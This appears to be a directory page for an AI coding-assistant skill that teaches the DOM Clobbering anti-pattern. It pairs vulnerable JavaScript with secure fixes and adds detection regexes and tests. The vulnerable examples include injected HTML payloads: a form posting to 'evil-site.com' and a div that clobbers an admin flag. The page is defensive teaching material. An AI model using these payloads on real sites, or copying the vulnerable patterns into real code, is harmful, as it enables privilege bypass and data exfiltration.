skills/dom-clobbering-anti-pattern/SKILL.md
Security anti-pattern for DOM Clobbering vulnerabilities (CWE-79 variant). Use when generating or reviewing code that accesses DOM elements by ID, uses global variables, or relies on document properties. Detects HTML injection that overwrites JavaScript globals.
npx skillsauth add igbuend/grimbard dom-clobbering-anti-patternInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Severity: Medium
DOM Clobbering overwrites global JavaScript variables via attacker-controlled HTML. Browsers auto-create global variables from id and name attributes. Enables logic bypasses, XSS, and security control evasion. Bypasses HTML sanitizers that allow id and name.
Application JavaScript relies on global variables that HTML injection overwrites. Code expects legitimate objects but receives DOM element references instead.
// VULNERABLE: Using a global variable that can be clobbered.
// Imagine this HTML is injected into the page by an attacker:
// <div id="appConfig"></div>
// The application code expects `appConfig` to be a configuration object.
// However, `window.appConfig` now points to the <div> element above.
if (window.appConfig.isAdmin) {
// A DOM element is "truthy", so this check passes.
// The attacker gains access to the admin panel without being an admin.
showAdminPanel();
}
// Another example:
// Injected HTML: <form id="someForm" action="https://evil-site.com">
// Legitimate button: <button onclick="submitForm()">Submit</button>
function submitForm() {
// The code intends to get a legitimate form, but gets the injected one.
var form = document.getElementById('someForm');
form.submit(); // Submits data to the attacker's site.
}
// SECURE: Avoid global variables and validate DOM elements.
// 1. Use a namespace for your application's objects.
const myApp = {};
myApp.config = {
isAdmin: false
// ... other config
};
// Access the configuration through the namespace.
if (myApp.config.isAdmin) {
showAdminPanel();
}
// 2. Validate the type of element retrieved from the DOM.
function submitForm() {
var form = document.getElementById('someForm');
// Check that the element is actually a form before using it.
if (form instanceof HTMLFormElement) {
form.submit();
} else {
console.error("Error: 'someForm' is not a valid form element.");
}
}
// 3. Freeze critical objects to prevent modification.
Object.freeze(myApp.config);
BAD:
// VULNERABLE: Accessing window global that can be clobbered
function AdminPanel() {
// Attacker injects: <div id="appConfig"></div>
// window.appConfig now points to the div, not the config object
if (window.appConfig?.isAdmin) {
return <AdminControls />;
}
return <AccessDenied />;
}
GOOD:
// SECURE: Use React Context or module scope
import { useContext } from 'react';
import { ConfigContext } from './ConfigContext';
function AdminPanel() {
const config = useContext(ConfigContext);
if (config.isAdmin) {
return <AdminControls />;
}
return <AccessDenied />;
}
GOOD:
// Type safety prevents DOM clobbering
interface AppConfig {
isAdmin: boolean;
apiUrl: string;
}
// Module-scoped, not global
const appConfig: AppConfig = {
isAdmin: false,
apiUrl: '/api'
};
// TypeScript enforces type checking
function checkAdmin(): void {
// Even if window.appConfig exists, TypeScript requires the interface
if (appConfig.isAdmin) { // Type-safe access
showAdminPanel();
}
}
// Validate DOM elements with type guards
function submitForm(formId: string): void {
const elem = document.getElementById(formId);
if (!(elem instanceof HTMLFormElement)) {
throw new TypeError(`Element ${formId} is not a form`);
}
elem.submit();
}
JavaScript Patterns:
window.config, document.userInfoconfig.isAdmin (no var/let/const declaration)document.getElementById() without type validationif (window.auth.isLoggedIn)Search Patterns:
window\.[a-zA-Z]+\.|\bdocument\.[a-zA-Z]+\.|getElementById\(.*\)\.(?!tag|class)if (window. or if (document.HTML Sanitizer Review:
FORBID_ATTR doesn't exclude id, nameallowedAttributes configManual Testing:
window object in console<div id="globalVarName"></div>console.log(typeof window.globalVarName)const myApp = { config: { ... } };).Object.freeze() to make them read-only, preventing them from being overwritten.if (elem instanceof HTMLFormElement)).id and name attributes still leaves you vulnerable. DOM Clobbering protection must be implemented in your JavaScript code.id="myapp-user-form").Manual Testing:
window. and check autocomplete<div id="targetGlobal"></div> via input fieldstypeof window.targetGlobal should show object → object (Element)Automated Testing:
eslint-plugin-no-unsanitizedwindow. access patternsExample Test:
// Test that critical objects cannot be clobbered
describe('DOM Clobbering Protection', () => {
it('should prevent config object clobbering', () => {
// Attempt to clobber
const div = document.createElement('div');
div.id = 'appConfig';
document.body.appendChild(div);
// Verify original object intact
expect(typeof myApp.config).toBe('object');
expect(myApp.config.isAdmin).toBe(false);
// Cleanup
document.body.removeChild(div);
});
it('should validate form element types', () => {
// Create fake form
const div = document.createElement('div');
div.id = 'loginForm';
document.body.appendChild(div);
// Should throw or return false
expect(() => submitForm('loginForm')).toThrow(TypeError);
});
});
Browser DevTools Check:
// Run in console to find potential clobbering targets
Object.keys(window).filter(key =>
typeof window[key] === 'object' &&
window[key] !== null &&
!window[key].toString().includes('[native code]')
);
window. and implicit globalsid and name are allowedinstanceof before using DOM elementsObject.freeze() on config objectswindow.foo with myApp.foodevelopment
Security anti-pattern for Cross-Site Scripting vulnerabilities (CWE-79). Use when generating or reviewing code that renders HTML, handles user input in web pages, uses innerHTML/document.write, or builds dynamic web content. Covers Reflected, Stored, and DOM-based XSS. AI code has 86% XSS failure rate.
development
Security anti-pattern for XPath injection vulnerabilities (CWE-643). Use when generating or reviewing code that queries XML documents, constructs XPath expressions, or handles user input in XML operations. Detects unescaped quotes and special characters in XPath queries.
development
Security anti-pattern for weak password hashing (CWE-327, CWE-759). Use when generating or reviewing code that stores or verifies user passwords. Detects use of MD5, SHA1, SHA256 without salt, or missing password hashing entirely. Recommends bcrypt, Argon2, or scrypt.
development
Security anti-pattern for weak encryption (CWE-326, CWE-327). Use when generating or reviewing code that encrypts data, handles encryption keys, or uses cryptographic modes. Detects DES, ECB mode, static IVs, and custom crypto implementations.